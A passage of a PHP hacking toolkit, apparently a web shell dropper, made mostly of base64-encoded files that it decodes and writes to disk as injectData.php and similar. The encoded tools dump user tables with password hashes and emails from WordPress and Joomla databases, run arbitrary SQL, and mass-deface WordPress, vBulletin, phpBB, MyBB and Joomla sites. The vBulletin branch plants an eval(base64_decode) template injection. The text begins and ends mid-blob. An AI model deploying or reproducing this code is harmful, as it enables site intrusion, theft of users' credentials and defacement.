c2VybmFtZSddLiI8L3RkPgogICAgICAgPHRkPiIuJHJvd1sncGFzc3dvcmQnXS4iPC90ZD4KICAg ICAgICA8dGQ+Ii4kcm93WydzYWx0J10uIjwvdGQ+CiAgICAgICAgPHRkPiIuJHJvd1snZW1haWwn XS4iPC90ZD4KPC90cj4KCjwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgLQogICI7Cgp9CgogIH0KZWxzZSBpZiAoISRxdWVyeSkKewog IGVjaG8gImVycm9yIjsKfQoKfWVsc2UKewogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFz cz0nY29tJz4hID8/Pz8gPz8/Pz8/ID8/Pz8/Pz8gPGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+ IjsKfQoKCiAgYnJlYWs7CgogIGNhc2UgODoKCgogIGVjaG8gJwoKPGRpdiBjbGFzcz0iY29tIj4K PGZvcm0gbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVy IiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4KIDxiciAvPgoKPHRyIj4KICAgICA8dGQ+SG9zdCA6 PC90ZD4KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2Nh bGhvc3QiIC8+PC90ZD4KPC90cj4KCjx0ciAiPgogICAgIDx0ZD51c2VyJm5ic3A7OjwvdGQ+CiAg ICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+CjwvdHI+Cgo8dHI+ CiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+ PC90ZD4KCjwvdHI+Cgo8dHI+CiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+CiAg ICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPgo8L3RyPgo8dGFibGUg Y2xhc3M9InRhYjIiIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIj4K PHRyPgogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+c2hvdyBtZW1iZXJzIEluZm9ybWF0aW9uPC9j ZW50ZXI+PGJyIC8+IDwvdGQ+CjwvdHI+CgoKPHRyPgoKICAgICAgPHRkIGNvbHNwYW49IjYiIGFs aWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FM IiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1h eGxlbmd0aD0iMzAiIC8+IDwvdGQ+Cgo8L3RyPgogIDwvdGFibGU+CiA8L2Zvcm0+ICA8L2Rpdj4n OwoKJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsKJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsKJHBhc3Mg PSAkX1BPU1RbJ3Bhc3MnXTsKJGRiICAgPSAkX1BPU1RbJ2RiJ107CiRpbmRleCAgPSAkX1BPU1Rb J2luZGV4J107CgppZihpc3NldCgkaG9zdCkgKSB7CiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9z dCwkdXNlciwkcGFzcykgb3IgZGllIDsKJHNlZGIgPUAgbXlzcWxfc2VsZWN0X2RiKCRkYikgb3Ig ZGllOwokc3FsID0gJ3NlbGVjdCAqIGZyb20gYHdwX3VzZXJzYCc7CiRxdWVyeSA9QCBteXNxbF9x dWVyeSgkc3FsLCRjb24pOwoKaWYgKCRxdWVyeSkKewoKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRj aF9hc3NvYygkcXVlcnkpKQp7CgplY2hvICIKPGJyIC8+PGJyIC8+PHRhYmxlIGNlbGxwYWRkaW5n PSc0JyBjZWxsc3BhY2luZz0nNCcgYWxpZ249J2NlbnRlcicgY2xhc3M9J3RibSc+Cjx0cj4KICAg ICAgIDx0ZD5JRCA6PC90ZD4KICAgICAgIDx0ZD51c2VyIDo8L3RkPgogICAgICAgPHRkPnBhc3Mg OjwvdGQ+CiAgICAgICA8dGQ+ZW1haWwgOjwvdGQ+Cgo8L3RyPgoKPHRyPgogICAgICAgPHRkPiIu JHJvd1snSUQnXS4iPC90ZD4KICAgICAgIDx0ZD4iLiRyb3dbJ3VzZXJfbG9naW4nXS4iPC90ZD4K ICAgICAgIDx0ZD4iLiRyb3dbJ3VzZXJfcGFzcyddLiI8L3RkPgogICAgICAgIDx0ZD4iLiRyb3db J3VzZXJfZW1haWwnXS4iPC90ZD4KPC90cj4KCjwvdGFibGU+CgogICI7Cgp9CgogIH0KZWxzZSBp ZiAoISRxdWVyeSkKewogIGVjaG8gImVycm9yIjsKfQoKfWVsc2UKewogIGVjaG8gIjxjZW50ZXI+ PGJyIC8+PGRpdiBjbGFzcz0nY29tJz4hID8/Pz8gPz8/Pz8/ID8/Pz8/Pz8gPGJyIC8+PGJyIC8+ PC9kaXY+PC9jZW50ZXI+IjsKfQoKCiAgYnJlYWs7CgoKICAgIGNhc2UgOToKCgogIGVjaG8gJwoK PGRpdiBjbGFzcz0iY29tIj4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNlbGxwYWRkaW5n PSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4KIDxiciAvPgoKPHRy Ij4KICAgICA8dGQ+SG9zdCA6PC90ZD4KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9 Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD4KPC90cj4KCjx0ciAiPgogICAgIDx0ZD51 c2VyJm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAv PjwvdGQ+CjwvdHI+Cgo8dHI+CiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0 ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4KCjwvdHI+Cgo8dHI+CiAgICAgPHRkPmRiJm5ic3A7Jm5i c3A7Jm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48 L3RkPgo8L3RyPgo8L3RhYmxlPgo8dGFibGUgY2xhc3M9InRhYjIiIGNlbGxwYWRkaW5nPSI0IiBh bGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIj4KCgo8dHI+CiAgICAgPHRkPlRhYmxlIHVzZXIgOjwv dGQ+CiAgICAgPHRkIGNvbHNwYW49IjYiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJqb3AiIHZh bHVlPSJqb3NfdXNlcnMiIC8+PC90ZD4KPC90cj4KPC90YWJsZT4KCjx0YWJsZSBjbGFzcz0idGFi MiIgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI0NSUiPgo8dHI+CiAgICAg IDx0ZD4gPGJyIC8+PGNlbnRlcj5zaG93IG1lbWJlcnMgSW5mb3JtYXRpb248L2NlbnRlcj48YnIg Lz4gPC90ZD4KPC90cj4KCgo8dHI+CgogICAgICA8dGQgY29sc3Bhbj0iNiIgYWxpZ249ImNlbnRl ciIgd2lkdGg9IjcwJSI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTUUwiIG1heGxlbmd0 aD0iMzAiIC8+ICA8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSJjbGVhciIgbWF4bGVuZ3RoPSIz MCIgLz4gPC90ZD4KCjwvdHI+CiAgPC90YWJsZT4KIDwvZm9ybT4gIDwvZGl2Pic7CgokaG9zdCA9 ICRfUE9TVFsnaG9zdCddOwokdXNlciA9ICRfUE9TVFsndXNlciddOwokcGFzcyA9ICRfUE9TVFsn cGFzcyddOwokZGIgICA9ICRfUE9TVFsnZGInXTsKJGpvcCAgPSAkX1BPU1RbJ2pvcCddOwoKaWYo aXNzZXQoJGhvc3QpICkgewokY29uID1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3Mp IG9yIGRpZSA7CiRzZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsKJHNxbCA9ICdz ZWxlY3QgKiBmcm9tIGBibzc0cl91c2Vyc2AnOwokcXVlcnkgPUAgbXlzcWxfcXVlcnkoJHNxbCwk Y29uKTsKCmlmICgkcXVlcnkpCnsKCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHF1 ZXJ5KSkKewoKZWNobyAiCjxiciAvPjxiciAvPjx0YWJsZSBjZWxscGFkZGluZz0nNCcgY2VsbHNw YWNpbmc9JzQnIGFsaWduPSdjZW50ZXInIGNsYXNzPSd0Ym0nPgo8dHI+CiAgICAgICA8dGQ+SUQg OjwvdGQ+CiAgICAgICA8dGQ+dXNlciA6PC90ZD4KICAgICAgIDx0ZD5wYXNzIDo8L3RkPgogICAg ICAgPHRkPmVtYWlsIDo8L3RkPgoKPC90cj4KCjx0cj4KICAgICAgIDx0ZD4iLiRyb3dbJ2lkJ10u IjwvdGQ+CiAgICAgICA8dGQ+Ii4kcm93Wyd1c2VybmFtZSddLiI8L3RkPgogICAgICAgPHRkPiIu JHJvd1sncGFzc3dvcmQnXS4iPC90ZD4KICAgICAgICA8dGQ+Ii4kcm93WydlbWFpbCddLiI8L3Rk Pgo8L3RyPgoKPC90YWJsZT4KCiAgIjsKCn0KCiAgfQplbHNlIGlmICghJHF1ZXJ5KQp7CiAgZWNo byAiZXJyb3IiOwp9Cgp9ZWxzZQp7CiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdj b20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOwp9 CgoKICBicmVhazsKCgoKCgoKICBkZWZhdWx0OgogIGhlYWRlcigiTG9jYXRpb246ICRwZWFnIik7 CgoKCiAgfQogIH0KCgoKZWxzZQp7CmVjaG8gJwoKPGRpdiBjbGFzcz0iY29tIj4KPGZvcm0gbWV0 aG9kPSJwb3N0Ij4KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0i MzUlIiBjbGFzcz0idGFiIj4KIDxiciAvPgoKPHRyIj4KICAgICA8dGQ+SG9zdCA6PC90ZD4KICAg ICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+ PC90ZD4KPC90cj4KCjx0ciAiPgogICAgIDx0ZD51c2VyJm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxp bnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+CjwvdHI+Cgo8dHI+CiAgICAgPHRk PlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4KCjwv dHI+Cgo8dHI+CiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxp bnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPgo8L3RyPgo8L3RhYmxlPgo8dGFibGUg Y2xhc3M9InRhYjIiIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIj4K PHRyPgogICAgIDx0ZCA+U1FMIENNRCA6PC90ZD4KICAgICA8dGQ+PHRleHRhcmVhIHJvd3M9IjMi IG5hbWU9InNxbCI+PC90ZXh0YXJlYT48L3RkPgo8L3RyPgoKCjx0cj4KCiAgICAgIDx0ZCBjb2xz cGFuPSI2IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIg dmFsdWU9IlNRTCIgbWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9 ImNsZWFyIiBtYXhsZW5ndGg9IjMwIiAvPiA8L3RkPgoKPC90cj4KICA8L3RhYmxlPgogPC9mb3Jt PiA8L2Rpdj4nOwoKJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsKJHVzZXIgPSAkX1BPU1RbJ3VzZXIn XTsKJHBhc3MgPSAkX1BPU1RbJ3Bhc3MnXTsKJGRiICAgPSAkX1BPU1RbJ2RiJ107CiRzcWwgID0g JF9QT1NUWydzcWwnXTsKCmlmKGlzc2V0KCRob3N0KSApIHsKJGNvbiA9QCBteXNxbF9jb25uZWN0 KCRob3N0LCR1c2VyLCRwYXNzKSBvciBkaWUgOwokc2VkYiA9QCBteXNxbF9zZWxlY3RfZGIoJGRi KSBvciBkaWU7CgokcXVlcnkgPUAgbXlzcWxfcXVlcnkoJHNxbCwkY29uKSBvciBkaWU7CgppZiAo JHF1ZXJ5KQp7CiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPn5fXiA/PyA/ Pz8/Pz8/Pz88YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOwp9CmVsc2UgaWYgKCEkcXVlcnkp CnsKICBlY2hvICJlcnJvciI7Cn0KCn1lbHNlCnsKICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYg Y2xhc3M9J2NvbSc+ISA/Pz8/ID8/Pz8/PyA/Pz8/Pz8/IDxiciAvPjxiciAvPjwvZGl2PjwvY2Vu dGVyPiI7Cn0KfQo/PgoKPC9kaXY+Cgo8ZGl2IGNsYXNzPSJmb3RlciI+PGJyIC8+PGJyIC8+Q29k M2QgYnkgOiBhbC1zd2lzcmUgXyBveTNAaG90bWFpbC5jb208YnIgLz4gPGJyIC8+U2F1ZGkgQXJh YmlhIGg0eDByUzwvZGl2Pgo8YnIgLz4KPCEtLQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSpcCnwgKioqKioqKioqKioq ICAgICAgICAgIFNRTF9DTUQgMy4wIGJ5IGFsLXN3aXNyZSAgICAgICAgKioqKioqKioqKiogfAor LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tKwp8ICAgICAgICAgICAgICAgICAgID8/Pz8gPz8/Pz8gPz8/Pz8/ID8/IGFsLXN3 aXNyZSAgICAgICAgICAgICAgICB8CnwgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3kzQGhv dG1haWwuY29tICAgICAgICAgICAgICAgICAgICAgfAp8ICAgICAgICAgICAgICAgICAgICAgICAg ICAgQ29weXJpZ2h0ID8yMDExIC4gICAgICAgICAgICAgICAgICAgfApcKi0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8KLT4KPC9ib2R5 PgoKPC9odG1sPg=='; file_put_contents('injectData.php',base64_decode($injec)); echo "Here injectData.php
"; $injectx3 = 'PGJvZHkgYmdjb2xvcj0iIzI3MjcyNyI+CiA8aGVhZD4KPG1ldGEgbmFtZT0ia2V5d29yZHMiIGNv bnRlbnQ9IkluamVjdCBJbmRleCBHcm91cCB4MyI+CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBj b250ZW50PSJJbmplY3QgSW5kZXggR3JvdXAgeDMiPgo8dGl0bGU+SW5qZWN0IEluZGV4IEdyb3Vw IHgzPC90aXRsZT4KPC9oZWFkPgoKPD9waHAKICBmdW5jdGlvbiBjb24oJGhvc3QsJHVzZXIsJHBh c3MsJGRiKQp7CgkkY29ubmVjdCA9IG15c3FsX3Bjb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKTsK CWlmKCEkY29ubmVjdCl7ZWNobyAiQ2FuJ3QgQ29ubmVjdCB0byBbICIuJGhvc3QuIiBdIFsgIi4k dXNlci4iIF0gWyAiLiRwYXNzLiIgXSI7IHJldHVybiBmYWxzZTsJfQoJZWxzZQoJewoJCSR0cnlU b1NlbGVjdERCID0gbXlzcWxfc2VsZWN0X2RiKCRkYiwkY29ubmVjdCk7CgkJaWYoISR0cnlUb1Nl bGVjdERCKXtlY2hvICJDYW4ndCBFbnRlciBUaGUgRGF0YWJhc2UgWyAiLiRkYi4iIF0iOyByZXR1 cm4gZmFsc2U7CQl9CgkJZWxzZXtyZXR1cm4gdHJ1ZTsgcmV0dXJuICRjb25uZWN0O30KCX0KfQpm dW5jdGlvbiB1cGRhdGUoJHNjcmlwdFR5cGUsJGluZGV4LCRmaXg4OD0nJykKewogICAgJHByZWZp eCA9ICRzY3JpcHRUeXBlLidfJzsKCWlmICgkc2NyaXB0VHlwZSA9PSAndmInKQoJewogICAgICAg ICRwcmVmaXggPSAnJzsKCQkkdmJfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCci OwoJCSR2Yl9pbmRleCAuPSBiYXNlNjRfZW5jb2RlKCJlY2hvIFwiJGluZGV4XCI7Iik7CgkJJHZi X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7CgkJJG9rMSA9IG15c3Fs X3F1ZXJ5KCJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kdmJfaW5kZXguIicgV0hF UkUgdGl0bGUgPSdmb3J1bWhvbWUnIik7CgkJaWYgKCEkb2sxKQoJCXskb2syID0gbXlzcWxfcXVl cnkoIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiR2Yl9pbmRleC4iJyBXSEVSRSB0 aXRsZSA9J2hlYWRlciciKTt9CgkJZWxzZWlmICghJG9rMikKCQl7JG9rMyA9IG15c3FsX3F1ZXJ5 KCJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kdmJfaW5kZXguIicgV0hFUkUgdGl0 bGUgPSdzcGFjZXJfb3BlbiciKTt9CgkJbXlzcWxfY2xvc2UoKTsKCQlpZiAoJG9rMSB8fCAkb2sy IHx8ICRvazMgfHwgJHNoZWxsKXt1cGRhdGUoKTt9CgkJZWxzZSB7ZWNobyAiPHA+PGI+PGZvbnQg Y29sb3I9JyMwMDgwRkYnPlVwZGF0aW5nIEhhcyBGYWlsZWQgITwvZm9udD48L3A+PC9iPiI7fQoJ fQoJZWxzZSBpZiAoJHNjcmlwdFR5cGUgPT0gJ3dwJykKCXsKCQkkdGFibGVOYW1lID0gJHByZWZp eC4icG9zdHMiIDsKCQkkb2sxID0gbXlzcWxfcXVlcnkoIlVQREFURSAkdGFibGVOYW1lIFNFVCBw b3N0X3RpdGxlID0nIi4kaW5kZXguIicgV0hFUkUgSUQgPiAwICIpOwoJCWlmKCEkb2sxKQoJCXsk b2syID0gbXlzcWxfcXVlcnkoIlVQREFURSAkdGFibGVOYW1lIFNFVCBwb3N0X2NvbnRlbnQgPSci LiRpbmRleC4iJyBXSEVSRSBJRCA+IDAgIik7IH0KCQllbHNlaWYoISRvazIpCgkJeyRvazMgPSBt eXNxbF9xdWVyeSgiVVBEQVRFICR0YWJsZU5hbWUgU0VUIHBvc3RfbmFtZSA9JyIuJGluZGV4LiIn IFdIRVJFIElEID4gMCAiKTsgfQoJCW15c3FsX2Nsb3NlKCk7CgkJaWYgKCRvazEgfHwgJG9rMiB8 fCAkb2szKXt1cGRhdGUoKTt9CgkJZWxzZSB7ZWNobyAiPHA+PGI+PGZvbnQgY29sb3I9JyMwMDgw RkYnPlVwZGF0aW5nIEhhcyBGYWlsZWQgITwvZm9udD48L3A+PC9iPiI7fQoJfQoJZWxzZSBpZiAo JHNjcmlwdFR5cGUgPT0gJ2pvcycpCgl7CgkgIGlmKCRmaXghPT0nJykKICAgICAgewogICAgICAg ICRwcmVmaXggPSAkZml4ODg7CiAgICAgIH0KCQkkam9zX3RhYmxlX25hbWUgPSAkcHJlZml4LiJt ZW51IiA7CgkJJGpvc190YWJsZV9uYW1lMiA9ICRwcmVmaXguIm1vZHVsZXMiIDsKCQkkb2sxID0g bXlzcWxfcXVlcnkoIlVQREFURSAkam9zX3RhYmxlX25hbWUgU0VUIG5hbWUgPSciLiRpbmRleC4i JyBXSEVSRSBJRCA+IDAgIik7CgkJaWYoISRvazEpCgkJeyRvazIgPSBteXNxbF9xdWVyeSgiVVBE QVRFICRqb3NfdGFibGVfbmFtZTIgU0VUIHRpdGxlID0nIi4kaW5kZXguIicgV0hFUkUgSUQgPiAw ICIpO30KCQlteXNxbF9jbG9zZSgpOwoJCWlmICgkb2sxIHx8ICRvazIgfHwgJG9rMyl7ZWNobyAi PHA+PGI+PGZvbnQgY29sb3I9JyMwMDgwRkYnPlVwZGF0ZWluZyBoYXMgZG9uZS48L2ZvbnQ+PC9w PjwvYj4iO30KCQllbHNlIHtlY2hvICI8cD48Yj48Zm9udCBjb2xvcj0nIzAwODBGRic+VXBkYXRp bmcgSGFzIEZhaWxlZCAhPC9mb250PjwvcD48L2I+Ijt9Cgl9CgllbHNlIGlmICgkc2NyaXB0VHlw ZSA9PSAncGhwYmInKQoJewoJCSRwaHBfdGFibGVfbmFtZSA9ICRwcmVmaXguImZvcnVtcyI7CgkJ JHBocF90YWJsZV9uYW1lMiA9ICRwcmVmaXguInBvc3RzIjsKCQkkb2sxID0gbXlzcWxfcXVlcnko IlVQREFURSAkcGhwX3RhYmxlX25hbWUgU0VUIGZvcnVtX25hbWUgPSciLiRpbmRleC4iJyBXSEVS RSBmb3J1bV9pZCA+IDAgIik7CgkJaWYoISRvazEpCgkJeyRvazIgPSBteXNxbF9xdWVyeSgiVVBE QVRFICRwaHBfdGFibGVfbmFtZTIgU0VUIHBvc3Rfc3ViamVjdCA9JyIuJGluZGV4LiInIFdIRVJF IHBvc3RfaWQgPiAwICIpOyB9CgkJbXlzcWxfY2xvc2UoKTsKCQlpZiAoJG9rMSB8fCAkb2syIHx8 ICRvazMpe3VwZGF0ZSgpO30KCQllbHNlIHtlY2hvICI8cD48Yj48Zm9udCBjb2xvcj0nIzAwODBG Ric+VXBkYXRpbmcgSGFzIEZhaWxlZCAhPC9mb250PjwvcD48L2I+Ijt9Cgl9CgllbHNlIGlmICgk c2NyaXB0VHlwZSA9PSAnaXBiJykKCXsKCQkkaXBfdGFibGVfbmFtZSA9ICRwcmVmaXguImNvbXBv bmVudHMiIDsKCQkkaXBfdGFibGVfbmFtZTIgPSAkcHJlZml4LiJmb3J1bXMiIDsKCQkkaXBfdGFi bGVfbmFtZTMgPSAkcHJlZml4LiJwb3N0cyIgOwoJCSRvazEgPSBteXNxbF9xdWVyeSgiVVBEQVRF ICRpcF90YWJsZV9uYW1lIFNFVCBjb21fdGl0bGUgPSciLiRpbmRleC4iJyBXSEVSRSBjb21faWQg PiAwIik7CgkJaWYoISRvazEpCgkJeyRvazIgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRpcF90YWJs ZV9uYW1lMiBTRVQgbmFtZSA9JyIuJGluZGV4LiInIFdIRVJFIGlkICA+IDAiKTsgfQoJCWlmKCEk b2syKQoJCXsKCQkJJG9rMyA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJGlwX3RhYmxlX25hbWUzIFNF VCBwb3N0ICA9JyIuJGluZGV4LiInIFdIRVJFIHBpZCA8MTAiKSAgb3IgZGllKCJDYW4ndCBVcGRh dGUgVGVtcGxhdGVzICEhIik7CgkJfQoJCW15c3FsX2Nsb3NlKCk7CgkJaWYgKCRvazEgfHwgJG9r MiB8fCAkb2szKXt1cGRhdGUoKTt9CgkJZWxzZSB7ZWNobyAiPHA+PGI+PGZvbnQgY29sb3I9JyMw MDgwRkYnPlVwZGF0aW5nIEhhcyBGYWlsZWQgITwvZm9udD48L3A+PC9iPiI7fQoJfQoJZWxzZSBp ZiAoJHNjcmlwdFR5cGUgPT0gJ3NtZicpCgl7CgkJJHRhYmxlX25hbWUgPSAkcHJlZml4LiJib2Fy ZHMiIDsKCQl7JG9rMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHRhYmxlX25hbWUgU0VUIGRlc2Ny aXB0aW9uID0nIi4kaW5kZXguIicgV0hFUkUgSURfQk9BUkQgPiAwIik7fQoJCWlmKCEkb2sxKXsk b2syID0gbXlzcWxfcXVlcnkoIlVQREFURSAkdGFibGVfbmFtZSBTRVQgbmFtZSA9JyIuJGluZGV4 LiInIFdIRVJFIElEX0JPQVJEID4gMCIpO30KCQlteXNxbF9jbG9zZSgpOwoJCWlmICgkb2sxIHx8 ICRvazIpe3VwZGF0ZSgpO30KCQllbHNlIHtlY2hvICI8cD48Yj48Zm9udCBjb2xvcj0nIzAwODBG Ric+VXBkYXRpbmcgSGFzIEZhaWxlZCAhPC9mb250PjwvcD48L2I+Ijt9Cgl9CgllbHNlIGlmICgk c2NyaXB0VHlwZSA9PSAnbXliYicpCgl7CgkJJG15YmJfcHJlZml4ID0gJHByZWZpeC4idGVtcGxh dGVzIjsKCQkkb2sgPSBteXNxbF9xdWVyeSgiIHVwZGF0ZSAkbXliYl9wcmVmaXggc2V0IHRlbXBs YXRlPSciLiRpbmRleC4iJyB3aGVyZSB0aXRsZT0naW5kZXgnICIpOwoJCWlmICgkb2spe3VwZGF0 ZSgpO30KCQllbHNlIHtlY2hvICI8cD48Yj48Zm9udCBjb2xvcj0nIzAwODBGRic+VXBkYXRpbmcg SGFzIEZhaWxlZCAhPC9mb250PjwvcD48L2I+Ijt9CgkJbXlzcWxfY2xvc2UoKTsKCX0KfQppZigk X0dFVFsnZG8nXT09J3N0YXJ0JykKewogICRob3N0PSRfUE9TVFtob3N0XTsKICAkdXNlcj0kX1BP U1RbdXNlcm5hbWVdOwogICRwYXNzPSRfUE9TVFtwYXNzd29yZF07CiAgJGRiPSRfUE9TVFtkYXRh YmFzZV07CiAgJHR5cGU9JF9QT1NUW3R5cGVdOwogICRmaXg3Nz0oJF9QT1NUW2ZpeDc3XSk/JF9Q T1NUW2ZpeDc3XTonJzsKICAkaW5kZXg9c3RyaXBzbGFzaGVzKCRfUE9TVFtpbmRleGNvZGVdKTsK ICBjb24oJGhvc3QsJHVzZXIsJHBhc3MsJGRiKTsKICB1cGRhdGUoJHR5cGUsJGluZGV4LCRmaXg3 Nyk7Cn1lbHNlewogIGVjaG8gIgogIDxmb3JtIGFjdGlvbj0nP2RvPXN0YXJ0JyBtZXRob2Q9J1BP U1QnPgogIDxiPjxmb250IGNvbG9yPScjMDA4MEZGJz5QbGVhc2Ugc2VsZWN0IHR5cGUgOjwvZm9u dD48L3A+PC9iPgogIDxzZWxlY3QgbmFtZT0ndHlwZSc+CiAgPG9wdGlvbiB2YWx1ZT0nd3AnPndv cmRwcmVzczwvb3B0aW9uPgogIDxvcHRpb24gdmFsdWU9J3ZiJz52Yjwvb3B0aW9uPgogIDxvcHRp b24gdmFsdWU9J3BocGJiJz5waHBiYjwvb3B0aW9uPgogIDxvcHRpb24gdmFsdWU9J215YmInPk15 IEJCPC9vcHRpb24+CiAgPG9wdGlvbiB2YWx1ZT0nam9zJz5qb29tbGE8L29wdGlvbj4KICA8L3Nl bGVjdD48YnI+CiAgPGI+PGZvbnQgY29sb3I9JyMwMDgwRkYnPkZpeCA6PC9iPiA8YnI+CiAgPGlu cHV0IG5hbWU9J2ZpeDc3JyB0eXBlPSd0ZXh0Jy8+IDxiPk5vdCBwcm9jZXNzIDwvZm9udD48L2I+ ICA8YnI+CiAgPGI+PGZvbnQgY29sb3I9JyMwMDgwRkYnPkhvc3QgOiA8L2ZvbnQ+PC9iPiAgPGJy PgogIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdob3N0JyA+ICA8YnI+CiAgPGI+PGZvbnQgY29s b3I9JyMwMDgwRkYnPlVzZXJuYW1lIGRhdGFiYXNlIDogPC9mb250PjwvYj4gIDxicj4KICA8aW5w dXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcm5hbWUnPiAgICA8YnI+CiAgPGI+PGZvbnQgY29sb3I9 JyMwMDgwRkYnPlBhc3N3b3JkIHVzZXIgOiA8L2ZvbnQ+PC9iPiAgPGJyPgogIDxpbnB1dCB0eXBl PSd0ZXh0JyBuYW1lPSdwYXNzd29yZCc+ICAgPGJyPgogIDxiPjxmb250IGNvbG9yPScjMDA4MEZG Jz5EYXRhYmFzZSA6IDwvZm9udD48L2I+IDxicj4KICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0n ZGF0YWJhc2UnPiAgIDxicj4KICA8Yj48Zm9udCBjb2xvcj0nIzAwODBGRic+SW5kZXggY29kZSA6 IDwvZm9udD48L2I+IDxicj4KICA8dGV4dGFyZWEgbmFtZT0naW5kZXhjb2RlJz48L3RleHRhcmVh PiA8YnI+CiAgPGlucHV0IG5hbWU9J3N1YicgdHlwZT0nc3VibWl0Jz4KCjxwPjxiPkRldmVsb3Bl ciBieSB8IDxmb250IGNvbG9yPScjMDA4MEZGJz5Nci5EbTRyIDwvZm9udD4tPGZvbnQgY29sb3I9 